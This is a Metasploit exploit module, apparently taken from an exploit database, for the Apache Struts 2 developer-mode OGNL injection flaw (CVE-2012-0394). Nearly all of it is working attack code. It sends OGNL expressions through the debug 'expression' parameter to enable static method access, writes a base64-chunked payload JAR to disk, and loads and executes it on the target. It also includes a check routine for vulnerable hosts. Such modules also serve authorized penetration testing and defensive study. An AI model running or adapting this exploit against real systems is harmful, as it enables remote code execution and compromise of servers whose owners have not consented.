Apache Struts Developer Mode OGNL Execution Exploit

:
07.02.2014
:
Struts 2.3.16, Tomcat 7, Ubuntu 10.04.
:
:
VMware vCenter Operations Manager

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Developer Mode OGNL Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache
Struts 2. The problem exists on applications running in developer mode,
where the DebuggingInterceptor allows evaluation and execution of OGNL
expressions, which allows remote attackers to execute arbitrary Java
code. This module has been tested successfully in Struts 2.3.16, Tomcat
7 and Ubuntu 10.04.
},
'Author' =>
[
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0394'],
[ 'OSVDB', '78276'],
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],
[ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Struts 2', { } ]
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
], self.class)
end

def check
vprint_status("Testing to see if the target can evaluate our Java code...")
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two

res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")

if res and res.code == 200 and res.body.to_i == sum
return Exploit::CheckCode::Vulnerable
end

if res and res.code == 200 and res.body.to_s =~ /#{sum}/
vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
vprint_line(res.body.to_s)
return Exploit::CheckCode::Appears
end

return CheckCode::Safe
end

def exploit
@payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"

upload_jar
execute_jar
end

def upload_jar
append = 'false'
jar = payload.encoded_jar.pack
chunk_length = 384 # 512 bytes when base64 encoded

while(jar.length > chunk_length)
java_upload_part(jar[0, chunk_length], @payload_jar, append)
jar = jar[chunk_length, jar.length - chunk_length]
append='true'
end
java_upload_part(jar, @payload_jar, append)
end

def java_upload_part(part, filename, append = 'false')
cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end

def execute_jar
cmd = ""
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
cmd << "#q.setAccessible(true),#q.set(null,true),"
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
cmd << "#q.setAccessible(true),#q.set(null,false),"
# create classloader
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
# load class
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
# invoke main method
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
execute_command(cmd)
end

def execute_command(cmd)
injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
injection.gsub!(/CMD/, cmd)

vprint_status("Attempting to execute: #{cmd}")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET',
'vars_get' =>
{
'debug' => 'command',
'expression' => injection
}
})

return res
end


end